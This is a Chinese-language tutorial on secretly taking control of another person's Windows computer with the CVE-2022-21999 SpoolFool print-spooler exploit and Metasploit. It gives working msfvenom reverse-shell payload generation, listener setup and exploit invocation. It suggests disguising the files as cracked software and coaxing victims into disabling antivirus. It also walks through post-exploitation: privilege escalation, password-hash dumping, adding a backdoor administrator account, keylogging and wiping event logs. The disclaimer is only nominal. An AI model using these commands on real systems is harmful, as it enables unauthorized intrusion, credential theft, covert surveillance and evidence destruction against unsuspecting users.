CVE-2022-21999漏洞

如何实现发送一个.exe文件偷偷控制他人的电脑?这个想法很刑的,所以我只是说明我的实现方式,具体操作建议仅用于hvv等专业领域,请勿以身试法。

首先我们分析一下.exe文件的实际应用场景—windows系统的电脑,所以我们需要入侵的就是一台私人的windows电脑,通过.exe文件入侵的好处是我们可以把我们的.exe文件伪装成市场上任何一款破解软件,并要求用户使用安装前关闭杀毒软件,降低技术实现难度。我这边不提供这些操作,所以还是说一下实现方式。该实现方式主要基于最新的CVE-2022-21999漏洞,利用Windows Print Spooler 特权提升漏洞 (LPE),在远程控制windows电脑后可以完成权限的提升,拿到管理员权限从而完整的控制计算机。当然这个漏洞已经于2022 年 2 月,微软修补了 CVE-2022-21999 漏洞。不要灰心,任何系统、软件程序都存在漏洞的,也许现在它的代码、逻辑都毫无破绽,但人恰恰就是最大的破绽,时间总会证明一切。学习恰恰是最美好的。

下载系统、入侵文件

我使用的是kaliLinux,这款系统比较实用,自带的软件非常适合学习网络攻防,需要的可自行下载,以下是该系统官网,Kali的iso镜像安装方式很复杂,如果想省事儿,建议直接下载VMWare镜像,学习是足够了Get Kali | Kali Linuxhttps://www.kali.org/get-kali/#kali-platforms

安装好kali系统,我们就可以使用了,首先我们需要下载一个SpoolFool.exe文件,您也可以点这里快访问,这是大佬根据CVE-2022-21999漏洞实现Windows 后台打印程序特权提升漏洞 (LPE)开源的github。

下载好SpoolFool.exe文件,就可以在该文件夹右键打开kalicmd控制台

为了不影响一些输入命令的权限问题,我们先提权,输入

sudo su

回击并输密码,完成用户提权

我们需要知道我们kalilinux的IP地址,方便我们在需要远程入侵时能准确无误生成配置文件并有效监听到目标电脑,所以输入

hostname -I

然后,我们需要使用msfvenom来创建一个恶意payload的文件来完成反弹shell,其中LHOST为你的kali linux的IP地址、LPORT为你kali linux将要监听的端口,>生成文件名可以任意,但要以.dll结尾,所以输入

msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.61.137 LPORT=4444 >hackerloi.dll

前期准备工作是完成了,现在我们有一个SpoolFool.exe文件和一个hackerloi.dll文件,如何把这些文件传输给目标电脑,并让目标心甘情愿打开运行?

这种事情,不能细嗦,太刑啦。现在我们需要先在自个电脑开启监听,在kali linux里启动metasploit渗透框架的监听器

sudo msfconsole

然后输入

use exploit/multi/handler

设置我们要使用的payload

set payload windows/x64/meterpreter/reverse_tcp

输入下面命令查看我们可以输入的参数

show options

这里可以看到LHOST还没有填写,因此我们需要设置一下

设置LHOST为我们kali linux的IP地址

set LHOST 192.168.61.137

都设置好了,我们就可以运行了

run

现在我们只需要等待用户打开文件,就可以监听上了

目前我们开启了监听,就像钓鱼,鱼竿鱼钩都准备好了。之前准备的SpoolFool.exe、hackerloi.dll文件就像鱼饵,但这鱼饵平平无奇啊,所以我们需要伪装。但伪装需要的知识非常多,毕竟这些鱼饵在杀毒软件和windows系统眼中就是病毒一般的存在。

如何欺骗用户关闭杀毒软件?

跳过windows系统的病毒检测?

自行了解就行,我们了解一下底层逻辑,我们需要在客户机运行SpoolFool.exe、hackerloi.dll文件,不考虑系统防护和杀毒软件层次的问题,那么我们只需要确认客户机器有这两个文件,并都不小心运行了,但用户一般不会点击运行dll文件,所以简单写一个.bat文件伪装一下,当.bat文件不小心被用户点击运行就能实现。其实具体操作就是需要运行SpoolFool.exe、hackerloi.dll文件。这里就需要大家自我发挥了,很刑的自己研究咯,我们这里只讲解最原始的

SpoolFool.exe -dll hackerloi.dll

我们回到kali linux,发现已经可以输入命令了

譬如输入sysinfo,我们就可以看到windows系统的信息了

当然操作还有很多,比如

ps:查看进程。

screenshot:进行屏幕截图并存储在我们的系统之中。

shell:进入管理员权限cmd

其实这些操作都是一般,真正的骚操作开始了

权限提升

有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个“getsystem”命令,它可以使用多种技术在目标系统中实现提权

“getuid”命令可以获取当前用户的信息,在上面的例子中,用户为“NT AUTHORITY\SYSTEM”,这个就是Windows本地系统账号。

获取凭证

hashdump模块(post)可以从SAM数据库中导出本地用户账号,credential_collector脚本(post/windows/gather/credentials)也可以从目标设备中收集令牌信息。

脚本和post模块都需要通过“run”命令执行,我在测试环境中运行hashdump模块后的结果如下:

数据的输出格式为:用户名:SID:LM哈希:NTLM哈希:,所以我们得到了三个用户账号,分别为Administrator, Guest和Coen。

其中的LM哈希(aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:)跟NTLM哈希(aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。

接下来要处理的就是用户mrhackerloi的密码(aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52)了。虽然我们可以使用类似John the Ripper这样的工具来破解密码,但是我们直接Google这个哈希之后,就直接得到了密码明文:12345678。

创建新的本地用户

我们只需要在kali linux中输入对应的命令shell,进入管理员权限cmd,再创建一个用户名为hacker密码为12345678的用户

net user hacker 12345678 /add

然后,再给他提升用户组权限到administrator就成管理员了

net localgroup administrator hacker /add

键盘记录

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能

keyscan_dump:显示捕捉到的键盘记录信息

keyscan_stop:停止键盘记录功能

清除事件日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令“clearev”命令来清除事件日志:

好了,学习知识是如此的快乐,希望你有所收获!!!